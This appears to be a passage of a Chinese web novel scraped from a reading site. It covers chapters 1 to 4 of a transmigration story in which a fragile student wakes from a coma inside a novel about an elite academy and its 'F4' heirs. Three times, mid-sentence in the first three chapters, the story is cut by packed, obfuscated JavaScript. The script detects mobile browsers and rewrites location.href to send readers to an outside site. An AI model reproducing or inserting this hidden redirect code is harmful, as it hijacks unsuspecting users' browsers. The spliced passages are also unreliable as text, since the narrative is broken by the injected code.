《贵族学院NPC,但是白月光》 1. 第 1 章 几乎没有学生会不喜欢放学的铃声。 然而在赛罗米尔学院,情况总有些例外。 “听说你在学院论坛上,为特招生们打抱不平?” 放学时分,夕阳透过玻璃幕墙射进空旷的体育馆,照在一个面如死灰的学生身上。 这位被质询者不敢抬眼,鹌鹑似的垂头盯着自己的鞋尖,咽下克制不住分泌的唾沫。 “我想这一定是一场误会,”青年背在身后的双手十指绞缠,“希莱尔学长……” 一个篮球迎面砸来,猛地砸在青年身侧半米的墙壁上。 砰! 青年浑身一震,眼睛却只敢看着地面。篮球带来的劲风几乎擦着他的脸。 他的余光看见夕阳在地上投下一个修长的影子,影子接住弹回去的篮球,肆意又散漫。 “学长也是你能叫的?”那人声音桀骜。 青年声如蚊讷:“……抱歉,我是说,欧文少爷。” 那个人哼了哼,抓住篮球,走出框线外,撑着身子轻轻一跃,坐上旁边的高台,长腿晃悠着,轻蔑俯瞰这位畏缩的学弟。 “把头抬起来。还有,这句少爷你也不配叫。”他道,“说说看,你觉得让特招生用课余时间打扫这座体育馆,到底哪里不妥当?” 青年不得不抬起头与其对视。 放学时分,体育馆外不时传来结伴路过的学生们的说笑跑动声,衬得这十米挑高的体育馆更加空荡,连夕阳也仿佛失去了温度。 青年嗫嚅:“当然没有,交不起学费的特招生来这里打扫也算是勤工俭学,更是他们应尽的义务。风纪委员大人,我绝对没有质疑校董的意思,请问……请问我可以走了吗?” 希莱尔·欧文盯着这个低年级学生。那双无机质一般的绿色瞳孔如无底深潭,他们对视的时间越久,青年两腿越发哆嗦。 终于,青年再也忍不住,扭头看向另一边:“林学长,救救我。我真的认识到错误,以后再也不随便发牢骚了,求求你——” 青年目光的方向是体育馆的休息区,一个黑发青年正手捧着书靠坐在长椅上,听到呼叫声,头也不抬,只是推了推眼镜继续阅读,置若罔闻。 下一秒,砰! 篮球砸在胸口,青年后退两步,弯下腰的同时却忍痛慌忙接住球,额头冒了一层冷汗。 希莱尔拍了拍手上的灰:“这个时候知道找人说情了?找林抚也没用。” “我再也不敢自作聪明了,学长!”青年快要哭了,“我只是听说,被要求义务劳动的人里面,有两位学长都很在意的那个特招生,想着替他出出头,或许将来就能……” 希莱尔眼中闪过一丝悍色,却怒极反笑。 “在意,”他跳下高台,一步步向低年级生走来,“你是说我和我的兄弟,会在意那个处处与我作对的特招生陆月章?” 低年级生摇头如拨浪鼓:“不不学长,请你原谅我的擅自揣测——” 希莱尔伸出手,眼看就要揪住低年级学生,忽然嗡的一声震动,清脆的提示铃声从远处传来,在体育馆内微微荡起回音,十分乍耳。 希莱尔动作一顿,不耐烦地低吼:“林抚!就不能让你该死的手机安静一会儿?!” 林抚放下书本,从衣兜里拿出手机:“你们继续。” 低年级生脸上流露出深深的绝望。 林抚打开手机查看消息。体育馆大门此时突然被推开,另一个低年级生跑过来:“希莱尔学长!” 希莱尔咬牙:“滚一边去。” “抱歉学长,这个消息恐怕你不会想要搁置的。” 这学生显然是希莱尔的跟班小弟,他硬着头皮凑过来,希莱尔瞪了低年级青年一眼,一把将人推开,随即侧过身。 跟班在希莱尔耳边低声说了句什么。 下一秒,希莱尔那双墨绿色的瞳孔骤然紧缩。 “什——你确定?”他一字一句地问。 “虞听醒了?” 跟班战战兢兢点头,希莱尔脸上放空了一秒,倏然转身,目光猝不及防对上林抚的视线,对方已经放下手机,屏幕上隐约可以看见一张模糊的医院照片。 希莱尔嘴唇翕动:“看样子,你也知道了。” 林抚收起手机,合上书本迅速起身。动作中有一丝罕见的急切。 “就在刚刚,虞听醒了。时隔三个月,他终于睁开了眼睛。接着和你的学弟谈心吧,风纪委员。”林抚说,“原谅我先失陪。” 他说完就急匆匆地走向体院馆门口,希莱尔舌尖顶了顶腮:“慢着,我和你一起去。” 说着他拔腿就走,跟班不敢怠慢,也急忙跟上。 大门轰然合上,场馆内顿时一片死寂,留下那个莫名其妙逃脱了一场暴风雨的低年级学生一头雾水地站在原地,不知所措。 * 与此同时。 雷蒙德私立医院,特级加护病房。 虞听睫羽一颤,缓缓睁开眼睛。 入目所及皆是一片冰冷无垢的白。 无数医疗器械闪着花花绿绿的光芒和数字,将他的病床包裹,电线和输液管织成密不透风的网。 他试着张口,喉结滚动,却发不出一个音节。 房门猛地推开。 “小少爷,你总算醒了。真是大难不死,必有后福。” 一个戴口罩的护士破门而入,站定在虞听床边。 “这些天院里下达了多少次病危通知书,老夫人急得快要哭晕过去……小少爷,我知道你现在很累,不过还得再坚持一会儿才能睡觉。” 虞听眉尖蹙起,想要说话,可门缝带进来的一点微风都足以让他齿关上下打颤。 护士温热的手轻柔撩起病人单薄的眼皮,用细手电照了照,又查看一番各个仪器,最后在他身上几处摸了摸:“最后一项,来,小少爷,往这看。” 一面手持镜子放在虞听仰躺朝上的面前,与其鼻尖十几厘米的距离。 “能认出这是谁吗?”护士轻声问,“认得的话就眨三下眼睛。” 虞听艰难掀开眼帘。 镜中倒映出一张苍白如月的面容,青年脸庞消瘦,如纸的面色与乌发黑眸映衬,显得苍白肤色更白,瞳孔更甚墨浓。一呼一吸间,青年颈侧筋骨凹陷,唇瓣干涩,泛着失血过度的樱色。 病气深重,却依然清冷俊秀如一捧新雪。 虞听望着镜中那张脸,许久不曾移开视线。 直至护士几乎开始怀疑最后一项认知测试能否通过时,镜中青年缓慢垂下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16656379|188309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼睑,眨了一下,两下,三下。 护士长舒一口气,收起镜子:“太好了小少爷,我现在就把这个好消息通知你的主治医生和家庭医生。你先好好休息,我会每隔十分钟来查看你的情况。” 门随着护士离开再次关上。 浑身关节揉进碎玻璃渣一样刺痛,虞听眼帘重如千钧,再也支撑不住,沉沉阖眼。 好巧不巧,穿越的竟是这种节点。 直到现在虞听才不得不接受,自己穿越进了生前世界中一本烂大街的耽美小说中的事实。 原书中的“虞听”本应死于一场车祸引发的严重感染和并发症。然而现在他醒了,这意味着他不得不拖着这副昏迷了三个月的羸弱身躯,继续书中一个寥寥数笔带过的背景板的未知人生,同时也是自己在另一个世界的新生。 听起来似乎是天上掉馅饼级别的意外之喜……如果虞听没有事先对这本小说的狗血程度有所了解的话。 “小少爷?” 护士再次敲门进入病房。时间还没到十分钟,显然是有什么重要的事打断了休息进程。 “很抱歉打扰你,但是小少爷,有好几个人现在就在住院部楼下,他们应该是第一时间得知了你醒来的消息,都声称要来探视你。”护士翻开手里的登记册,“他们应该都是谁家的少爷,态度不大配合,不过我还是让人记下了他们的名字……” 虞听苍白眼皮艰难瞭起,漆黑眼珠盯着护士,眼神带着重病患者的涣散,却异常平静,清醒。 护士念道:“有一位欧文家的少爷,还有一位叫林抚的,他是唯一一个肯留下自己全名的人……我看看,其余还有……” 虞听眸光一错,如镜子般的湖面泛起涟漪。 “希莱尔,欧文?”他问,声音沙哑极了。 护士一愣,合上登记册,上前想将床头摇起来些:“是的小少爷,这位欧文先生是你的朋友?” 虞听抬起手,修长指尖因为肌肉无力而细微颤抖。护士动作立马顿住。 病床上这位俊美青年实在太过孱弱,仿佛一阵风都能吹倒,却坚持叫停她的动作。 护士大气不敢出,等候下一步指令。 虞听的声音因为沙哑意外多了些磁性:“全部拒绝。” “拒绝探视?小少爷,您的这些朋友和同学看样子都很着急,不是一句话就能打发的……” 在病床上躺了太久,虞听四肢百骸都生锈般僵硬。他的额发长得过长,发梢拂过眼角,刺得眼球干痒发涩。 他薄唇轻抿:“告诉他们,就说是院长,也就是我母亲的命令。不准任何外人探视。” 护士迟疑一秒,点头称是,退出病房。 病房里不时传来滴滴答答的响声,高低音调节奏错落。 虞听阖拢眼帘,吃力地稍稍偏过头,柔软额发随着他的动作滑落,拂过青年浓长睫毛。病骨支离的青年包裹在蚕丝被里,侧颊微陷入蓬松的鹅毛枕头,断断续续喘息。 他当然知道外面那些主角对任何人而言都是惹不起的存在。 就像对任何人而言,重获新生总该值得庆幸。 然而在虞听身上,情况也总有例外。 譬如现在,还是先来一场彻底的酣眠放松身心,补充精力吧。 2. 第 2 章 在医疗团队的轮番照料下,三天后,虞听顺利撤掉了大多医疗器械,并且恢复了自主进食。 “快让祖母好好看看,我的乖孩子……头发长了,人也憔悴了,真是……真是遭了天大的罪……” 特级病房的电动床调整为零重力模式,得以让病人靠坐在弯曲抬升的床头。 虞听捧着智能手机,看着视频通话中用手帕擦拭眼角的银发老人,发出一声极轻的叹息。 “祖母,别哭了,我这不是好好的吗。”虞听无奈勾唇,“您瞧,护士每天批准我使用电子设备的时间只有半个小时,咱们祖孙俩应该用这时间聊些开心的事。” 尽管恢复得很好,但医院仍然对虞听的被探视权做出了严格规定,除了直系亲属,任何人不可以以探望为由打扰虞听休息。 屏幕中的老人正身处类似住宅后花园的地方,艳丽花丛与苍白单调的医院病房对比鲜明。 “最近发生的事没有一件能让祖母高兴得起来。”老妇人双眼通红,心疼地打量着另一头的孙子,“先是你的车祸,再是你母亲突然被调去国外参加医疗援助,那可是瘟疫最严重、最危险的地方!” “好不容易盼到你醒了,你父亲在外指挥演习抽不开身,偏偏又让管家拦着我,不许我来看你……我是老了,可这把老骨头还没到走不动路的那一天呢!” “当然,”虞听从善如流地微笑,“但父亲也是担心您情绪激动,或者是医院有什么传染病毒,要是您也病倒,家里就没有主心骨了。” “他这就是瞎操心,连我这个当妈的说的话都当做耳旁风……” 老妇人在电话那头絮絮叨叨。 出生在这种典型的“不需要很多很多钱,但是需要很多很多爱”的富人家庭,与当医院院长的母亲、陆军种将的父亲相比,二十岁的虞听明显与自己这个祖母的情感更加深厚。 虞听一边默默聆听,一边对屏幕里的祖母颔首。祖母指了指他:“宝贝,你瘦得脸颊都快凹陷了,是不是你母亲这家医院的营养餐不合你胃口?” “不会的,祖母您放心。”虞听耐心地回答,“下次见面时,我保证您会发现我长胖了。” 眼前这个唠叨又可爱的小老太太让虞听想到自己的亲祖母,他的祖母也很喜欢唠叨他吃得太少、身体不够壮实的问题。 或许是这种祖孙之间永远不变的话题让人在另一个陌生的世界找回熟悉的温情,虞听对这个老人的确产生了些许亲切。 闲聊几句后,正巧护士进来换药,祖孙二人挂断电话,虞听放下手机,看见护士一边更换药瓶一边道:“小少爷,看样子今天心情不错,这还是我这三天来第一次看见您笑呢。” 虞听:“……” 青年下意识用手背碰了碰脸颊。 “少爷您终于笑了”这种话,在小说世界里的确是最应景不过的台词。 早知道上辈子多读点狗血小说就好了,不然也不至于被这肉麻话硌到牙酸。 护士手脚麻利地为虞听换好点滴药瓶。三个月前接送虞听的车在放学途中遭遇了车祸,跌打外伤还是其次,只是不知为何引发了严重的肺部感染。 小说中只写到虞听死于感染导致的并发症和器官衰竭,但即便他意外活下来,自己这个无足轻重的小角色也不会对剧情线造成任何偏差。 换了药,虞听正准备按下遥控器把床放平,护士忽然从病房外推进来一辆小推车: “小少爷,这些是这三天住院部接收的慰问品,你要看看吗?” 虞听转头看去,仅仅三日,那群没能成功探视者留下的礼品便已经垒起一座小山。 “麻烦了。”虞听说。 护士把车推过来便离开病房。虞听的目光从五颜六色的果篮和礼品外包装上扫过,停留在最上层。 他伸出手,从拥挤的小推车上取下一张卡片。那是一张大约两张明信片大小的硬质铜版纸,淡青底色配暗印竹纹,上面的字迹明显用钢笔书写,起势顿挫,笔锋劲韧,力透纸背。 “虞听亲启 听说你已苏醒,身体状况良好。 你不在的这三个月,各项竞赛和考试都十分无聊。不仅如此,学校新招收的特招生里还多了拖油瓶,一对一的帮扶制度让人非常苦恼。 期待你早日回归赛罗米尔,让乏味的生活带来一些挑战。” 没有落款,下方印着一个家族私章,图案如兰,是一个化形的林字。 真新鲜,这是贺卡还是挑战书? 虞听把卡片翻过来。他知道送贺卡的人叫林抚,是自己的同班同学,也是常年和虞听在各项考试、竞赛中争夺第一名的竞争对手。同时他也是小说里赛罗米尔学院中人尽皆知的F4成员,标准的高冷天才学神。 贺卡背面用丝带系着一枚金色的勋章,在阳光下熠熠生辉。虞听将勋章摘下,看见贺卡背面还写了一行字。 “另: 这是你住院之前那次团队竞赛的特等奖勋章,代为保管三月,此次一并转交,物归原主。” 虞听把勋章塞在枕头下,又拿起贺卡凑近鼻尖,垂眸轻嗅。一股淡淡花香扑鼻而来。 他笑了笑:“原来学神也有‘感叹无敌是多么寂寞’的一天……好香的贺卡。” 但仔细嗅闻,并非贺卡的香,而是花香。 虞听再次看向小推车。 果然,最上层还放着一束鲜花,旁边摞着高高的保鲜盒,仔细看去,无一例外是不知从哪里新鲜打包空运来的高档药材,白胖山参和冬虫夏草上似乎还沾着刚刚从深山老林里人工采摘下来、尚未蒸发的细小露珠。 只是以虞听现在的身体情况,恐怕还不能吃这么大补的东西。 虞听失笑。可惜他无法消受这份扎扎实实的好意。 他微微倾身,略过那些名贵药材,将花束抱起。尽管恢复得不错,可这一个简单的动作还是险些牵扯到虞听手背上的针头。 光是把花抱在怀里就惹得虞听弯腰咳嗽,青年消瘦的身体在宽大病号服里,肩胛骨隔着布料顶出尖锐凸起,虞听一只宽松袖管里的胳膊拢着花束,另一手握拳掩唇,断断续续咳了良久。 咳嗽扯动伤口,虞听敛了薄红眼皮,肩膀起伏着,将脸凑近这束花卉。低下头时虞听象牙白的后颈一节颈椎骨骼略微突起,抵出一段脆弱折线。 很漂亮的花,虞听心想,只是…… 他埋下头,那些一看便是温室中精心培育出来的高级花瓣蹭过青年的鼻尖,靠近这些花骨朵,宛如置身于微缩的春日花园。 然而虞听阖了阖眼。 “送花的人也太没品味了,”他自言自语,“但凡有点插花或者美育常识,都不会在向日葵边上搭配红色康乃馨。” 耽美小说里的主角攻居然有着这么直男的审美。果然对这群人敬而远之的决定还是正确的。 “不过还是好闻的,而且……也蛮喜庆。”虞听沙哑地轻笑。 他把这让人难以恭维的花束拿开,放在床头。花束贺卡上什么也没有,落款上写着的名字是希莱尔·欧文。 回忆自己这个角色在书中的人际关系并不难,车祸之前虞听曾是赛罗米尔学生会的风纪委员,而他的同级生希莱尔是个不折不扣的校霸,按照小说剧情,他会利用家族关系迅速接替虞听成为了新一任风纪委员,没有虞听,从此以后再也没人能辖制他。 尽管有着在名流云集的赛罗米尔里也堪称顶级的家庭背景和相当好的人缘,可虞听心里很清楚,小说中自己的白月光设定不过是为真正主角埋下的伏笔,说是设定的设定都不为过。 坦白说,希莱尔这位在情敌大战中胜出的主角攻会赶来探望一个名不副实的白月光,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16656380|188309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坚持送上慰问品,的确出乎他的意料。 虞听望着挤满礼物的小推车,若有所思。 一个只存在于书中三言两语里的背景板人物,一个有着完美家世、受学生尊敬却体弱多病而早夭的白月光。 一个只活在背景叙述中的白月光,却也是本书主角不幸的本源。 正因为和身为早死白月光的自己有着几分神似,书中小草一样贫穷却顽强的特招生主角迅速收到了来自赛罗米尔学院F4的特殊关注,并且与这些人展开了纠缠不清的狗血虐恋。 虞听靠回床头,细长十指交叠搭在小腹,那里正是自己做过手术的地方。 房间忽然传来铃声。虞听回过神,再次拿起手机,按下接听:“喂。” 电话里传来一个含笑的嗓音:“听到学长声音这么有精神,我就放心了。” 虞听又是一愣,放下电话。 他试着读出来电显示上的名字:“尤里乌斯?” “昏迷了三个月,学长怎么和我生疏了,”尤里乌斯低笑,“以前学长都叫我尤尔。” 和虞听略带沙哑的磁性声音不同,名为尤里乌斯的男生嗓音更加具备轻快的青年感,音调却并不高,相反在同龄人中算是低沉的。 电话那头尤里乌斯接着说:“不知道有没有打扰到学长你休息。这三个月我每天都在为你祈祷,感谢上帝让我有再次和你说话的这一天。” 虞听浓长睫羽略微垂落,另一只手无意识将三个月来长到蓄起狼尾的长发掖到耳后。 “多谢。”虞听说。 尤里乌斯话锋一转:“原本我准备好来看望学长的,可是这两天月章——哦对,学长你还不认识他,月章是我们的学弟,他在马术课上摔伤了,我在医院照顾他,实在没法赶来。” “只是学长,我想,以你的心地,应该也不希望我抛下月章,所以……” 虞听垂眼,睫羽遮住墨色瞳孔,眼底铺下扇形鸦青阴影。 “你的心意我领了。”他说,“我很理解,你有更需要你照顾的人。” 二人都没说话,虞听规律而微弱的呼吸声被收录进手机话筒,再通过电磁波完整传递至尤里乌斯耳中。 半晌,尤里乌斯率先打破静默:“真的很抱歉,学长。祝你早日康复。” 虞听嗯了一声,又应付对方几句嘘寒问暖,最后挂断电话。 F4中的第三位成员,尤里乌斯·索恩。 虞家与索恩家族父母是旧相识,二人算是发小竹马的关系。以原文中的评价,尤里乌斯大约是F4里面唯一一个给予主角受关怀的人,是个标准的温柔暖男。 虞听轻哂。 温柔暖男。 但凡这位温柔暖男真的如他自己所说,动了来医院探望的心思,就会知道医院被自己下令过,禁止外人来探视。 恐怕从一开始,这个尤里乌斯就没有离开过主角受陆月章的身边。 透明药液顺着软管汩汩流入手背上的留置针头,青年苍白手背上浮起道道经络,单薄肌肤已留下大片淤青。 虞听活动快要麻木的修长十指,将冰凉掌心轻轻搓热。 说起来,尤里乌斯是唯一一个对陆月章比较友善的F4成员……可加上林抚和希莱尔,也只有三人而已。 最后一个F4……到底叫什么来着? 上一世的虞听自然不是小说的忠实读者,记不得所有人物关系,而最后一个F4既没有慰问探望,也没有虚情假意地为自己的缺席开脱。 大脑混沌,这是在发出急需休息的信号,虞听疲惫地叹气,迫不得已躺回床上。 这么看来,大约是和自己没什么交集的家伙吧。 不过这样正好,虞听昏昏沉沉想着,反正自己总归要远离小说主角团纷争的漩涡…… 少一份纠葛,总归不算太坏。 3. 第 3 章 “林抚学长?” 钢笔尖唰的一声顿在纸面,洇开漆黑墨点。 林抚抬起头。 午休时间,自习教室笼罩在静谧的暖色光晕中。 一只手指指向草稿纸上被勾掉的算式。 “这已经是学长第三次带错公式了。”那声音说,“林学长是不是,有什么心事?” 林抚看着坐在自己身旁面露担忧的一年级生,推了推眼镜。 “没什么。”林抚语气毫无波澜,“继续看题吧,陆学弟。” 阳光洒在青年胸前佩戴的小小铭牌上,照亮了【陆月章】三个字。 这位命定的天选主角似乎并没察觉到什么异常,点了点头,露出一个友善的微笑:“嗯,麻烦学长了,牺牲午休时间为我答疑……” 陆月章挠挠头发:“赛罗米尔的课程真的比普通学校难度高深很多,我已经很努力在跟上了,也不知道到这次期末考试时,能不能摆脱吊车尾的名号。” 林抚的目光短暂落在陆月章脑后,对方头发偏长,夏天到了,便在脑后低低地扎起来。 配上这张和某人无端有几分相像的脸,乍看起来竟格外让人恍神。 林抚重新低头,骨节分明的手指握着钢笔,在笔记本上流畅地刷刷写下一行行解题答案。 他们坐在自习室靠窗最后一排,风吹起白色窗帘,正午明亮的阳光在专注作答的青年脸上交割出明暗线条,黑框眼镜架在高挺鼻梁上,为青年冷硬的面部线条点缀几分内敛的书卷气。 陆月章托着下巴,看着看着,目光不由自主移到身旁这位学长棱角立体分明的侧脸上。 直到林抚的笔触蓦地再次停下:“陆月章。” 陆月章一愣,看见对方转过头,慌忙躲开视线:“抱歉学长,我不该发呆——” “不,你刚刚说得对。”林抚定定注视他,“我的确分心了。” 陆月章愣住:“什么?” 林抚把写好答案的笔记本推到陆月章的桌面,眸光轻微一动。 “是我的一个……同学,叫虞听。”他喉结动了动,“他三个月前出了车祸,十天之前刚刚转醒。” 陆月章张了张口,笑道:“原来是这样,难怪这一周我每次来找学长补习,学长看起来都心不在焉。虽然我不认识这位虞学长,不过这听起来是个好消息……” 话音未落,走廊由远及近涌起一阵乱糟糟的脚步声,打破了自习室的静寂,金戈铁马的动静,不知道的还以为是□□火拼。 “老大你慢点,等等我们!” “一群废物,跟不上不会用跑的?”希莱尔的喝斥传来,“你们见过接人还要还反要别人等的吗!” 走廊窗户外,一群黑压压的身影飞也似的掠过,其中希莱尔·欧文眉关紧锁,大步流星走在队伍最前面。 看见希莱尔的身影的一刹那,陆月章条件发射地往林抚身旁缩了缩:“学长……” 在赛罗米尔学院,学生必须身着校服,校服以西式海军制服为基础服制,同时参考西装制式,剪裁做工考究,不亚于市面上的高定成衣分毫。 而作为区分,学生会风纪部的学生则会在左臂佩戴袖章。 此刻,走廊外呼啦啦路过的一大群风纪部学生跟在脸色阴沉的希莱尔身后,倒真和□□出动没什么区别。 与其他老老实实扣好每一粒外套扣子的学生不同,希莱尔双手插兜,外套披在宽阔肩膀上,红色袖章也随着他迈开长腿的步伐飘飘荡荡。 路过自习教室窗前的一瞬间,或许是有所感应,希莱尔侧目一瞥,竟与陆月章目光对上了个正着。 作为被这位顶着风纪委员名号欺负了三个月的受害者,陆月章下意识喉咙一紧。 谁知这位向来不会错过任何一次刁难他的机会的希莱尔只是面无表情瞟了他一眼,漠不关心地回正视线,咬牙低吼: “让校门口那些无关的人都滚开,否则我收拾完碍事的再来教训你们!” 浩浩荡荡的一队人连声应和,几秒钟后,所有风纪部学生都从窗前跑过,走廊慢慢恢复了一贯的安静。 陆月章目瞪口呆,好一会儿才咽了咽唾沫,回过头:“林学长,希莱尔他们这是急着要去哪儿?为什么……” 话音戛然而止。 陆月章方才发现,林抚坐在原位,却转头看向窗外,握着钢笔的手收紧,手背青筋凸起。 在被安排与林抚结成一对一的学习帮扶小组后,只要有林抚在的场合,遇到希莱尔刁难时,林抚总会在事态渐渐严重之前淡淡出言,阻止他这位好兄弟的过分举止。 而这还是第一次,林抚完全没把陆月章的不安放在心上。 他透过玻璃窗,隔着偌大的整个赛罗米尔校园,眺望远处高耸的校门。 “是他,”林抚喃喃,“他居然这么快就回来了。” 陆月章:“他是谁?” 林抚眯起眼睛,右手松了力道,开始转动细长的钢笔。 “还能是谁,”他嘲讽呵笑,“能让希莱尔风风火火去迎接的人只有一个……不过要是问起,他本人或许只肯称之为死对头吧。” * 同一时间。 奔驰斯宾特如暗夜的影武士,稳稳贴地无声行驶。 “小少爷,该吃药了。” 液晶屏幕将车子前后隔断出私密空间,虞听倚坐在航空座椅里,打开座椅扶手间的保温箱,拿出里面升起的药盒和保温杯。 他按下通话键:“知道了。” 喇叭里传来司机担忧的声音:“恕我多嘴,小少爷,不过请您慎重考虑一下,您办理出院这么早也就罢了,至少也该在家修养一个月再回来上学……” 飞速后退的行道树练成模糊的色块,如快速放映的老胶片。一尘不染的车窗玻璃上倒映出虞听那张同样如月般皎洁无暇的侧脸。 虞听:“是祖母让你来当这个说客的吧。” 司机干笑两声。 虞听垂眸,倒出来一把花花绿绿的药丸,就着温水吞服。药丸太多,他咽得急了,蹙眉低头,抬手按住细长锁骨。 司机仍不死心地劝说:“要是让将军和夫人知道您瞒着他们回去上学,他们一定会担心……” 虞听随手放下保温杯,从校服内侧口袋里拿出手机,同时再次按下通话键,司机的说话声顿时被无情切断。 他解锁手机,点开赛罗米尔学院的校园论坛app。 住院的这十天,他已经将赛罗米尔学院了解透彻。 比起回忆原文他更喜欢用自己的方式观察一些原书中不曾涉及的角落。 论坛首页一条【男神回归,好戏开场】的帖子吸引了虞听的注意,他随手点进去。 【听说了吗,男神已经康复出院了,好像今天就要返校上学!】 【真的假的?我就知道每天坚持在论坛打卡祈福果然有用!】 【呜呜呜我的白月光学长】 【听说虞学弟有贫血和哮喘症,这次一定吃了不少苦。我去了医院两次,医生都不准我探视,也不知道我的慰问贺卡学弟看见了没。】 【虞听不是身体一直不好吗?在医院躺了三个月,我还以为这一次他挺不过来……】 【呸呸呸!!楼上哪来的乌鸦嘴,管理员呢?!@管理员】 【已禁言,请各位同学友善发言,注意版规】 【哈哈哈哈哈哈,管理员正义制裁最快的一次!】 ……叽里咕噜说什么呢,这帮小孩。果然许久没有回归校园,已经和小屁孩们有代沟了吗。 虞听换了个舒服的坐姿,修长双腿交叠,大病一场后他整个人清减不少,校服明显宽松,裤脚露出一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16656381|188309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 截被黑色长袜包裹的纤细脚踝。 【说起来,虞听男神回来之后,某几位大人物应该要为之疯狂了吧?】 【胆大一点,恐怕整个三年级都要地震咯。】 【再胆大一点,或许整个校园……】 【很多人也敢说,你校新来的特招生里面的某位,已经出了三个月风头的那个,之所以会被风纪委员大人盯上,甚至惹得风纪委员和校队队长互呛,其实不就是因为和……长得像吗?】 【ls+1】 【慎言,慎言啊!特招生哪里像虞听男神了,顶多是某几个特定角度有一丢丢相像好吧。】 【这次‘正主’回来了,那个特招生还能继续当赛罗米尔的话题人物吗?】 【特招生也是无妄之灾。。】 【无妄之灾?ls别逗我笑了,谁在东施效颦谁心里知道。沾了虞听学长的光还不肯承认的样子真的不要太小丑~】 【诶对了,既然虞学长已经康复,那之前流传的和燕氏的那件事,还做不做数了?】 虞听捏着下巴,“嗯?”了一声。 和燕氏的那件事? 七天过去,他已经通过在论坛潜水弄明白,有着如同伏地魔一样让学生们讳莫如深的燕氏,大约就是F4的最后一位了。 与这位燕姓公子深不可测的背景恰恰相反的,则是他在小说中轻如鸿毛的份量。 大概是作者笔力有限,F4中只有三个人被详细描写如何为了主角受陆月章争风吃醋,剩余这位燕公子则沦为为小说提升b格的背景板,甚至连核心竞争圈子都未曾进入。 只是既然同为背景板,那么两位背景板之间又会发生什么事,值得供路人作为茶余饭后的谈资? “小少爷,到了。” 通话喇叭震动,虞听抚平胸前的深蓝色领带,收起手机。 车子停稳,电动门打开。 虞听侧过身,扶着门框跨出车门。 皮鞋踏在地面时,正午的阳光晃得虞听微微低下头,过于刺目的光线令他睫羽扑簌轻颤,难耐地阖眼。 他正站在赛罗米尔学院的正门外。恢弘的流线型大门拔地而起,对称造型庄严而不失美感,门口校训石雕刻出校徽形状,而透过校门向内望去,喷泉广场与人工天鹅湖遥相辉映,宽阔柏油路通向远处的第一教学楼。 这一切只不过是整座学院中随处可见的气派风景。 可惜这场面虞听现下无法欣赏。 他下车想要站定,忽然一阵头晕,强烈的反胃感顺着食道上涌,虞听脸瞬间失了血色,腿一软后退半步扶住车门,急促喘息。 忘了现在这副身体没法在车上看手机的。不晕车才怪啊。 “虞听?!” 远处一声大喊,语气焦急。 虞听生生压下干呕的冲动,眼里激出生理性的潮气,他咬着下唇,熨帖却略微宽松的制服外套下整具身体都在细密颤抖。 他模糊听见许多脚步声,那个声音似乎冲在最前面:“虞——” 下一秒,一只手从背后揽住虞听的细腰,将快要站不住的青年扶稳。 虞听后腰一颤,勉强抬眸。 一个金发碧眼,混血儿模样的年轻人温柔而关切地望着他。 越过年轻人的肩头,可以看见一群同样穿着制服、佩戴袖章的人刹住脚步,为首的一个高大青年同样停下来,满脸被截胡的错愕与惊讶。 金发混血儿手上猝不及防用力,虞听没站稳,整个人几乎跌进对方怀中。 “学长。” 虞听喘息停顿一秒。 混血儿的声音和七天前电话中那个八面玲珑的竹马的声音重叠在一起,分毫不差。 “你刚刚吓坏我了。”尤里乌斯在他耳边柔声道,“很荣幸我是学长回到赛罗米尔之后第一个见到的人。” 4. 第 4 章 空气霎时凝固。 “尤里乌斯?” 希莱尔敛去惊讶神色,走上前。 “索恩家的艺术新星,风流浪子,今天怎么没去向那个特招生献殷勤?”他眉宇阴沉得要滴出水来,“别挡老子的路。” 尤里乌斯毫无被挑衅的恼火,微笑如常。他如得胜者一般揽住虞听肩膀。 “我来接我从小到大的竹马,虞听学长返校。”他刻意咬重某个字眼,并在如愿见到希莱尔变黑的脸色后,气定神闲转过头。 尤里乌斯笑着摩挲两下虞听的肩膀:“学长,你又瘦了不少,真是让人心疼。让我送你上楼吧。” 虞听抬手覆住尤里乌斯搭在自己肩头的那只手。白皙微凉的手掌盖住尤里乌斯的手背,后者唇角不由自主逐渐上扬。 然而虞听紧接着以不轻不重的力道,冷不防将尤里乌斯的手拂开,动作随意如掸尘。 尤里乌斯的笑容定格了。 虞听放下手,目不斜视地盯着前方:“我虽然昏迷了三个月,但还不至于记不得回教室的路。多谢关心。” 他径直走向前,尤里乌斯紧盯着虞听,随着他的身影转头,少年乌木般的黑色发丝被微风吹起,拂过尤里乌斯鼻尖,痒意夹杂柑橘后调的香气。 他一时恍神,喉结滚动,一向八面玲珑能言善辩的少年竟失去了组织语言的能力。 等反应过来时,虞听已经旁若无人地从他身前走开。 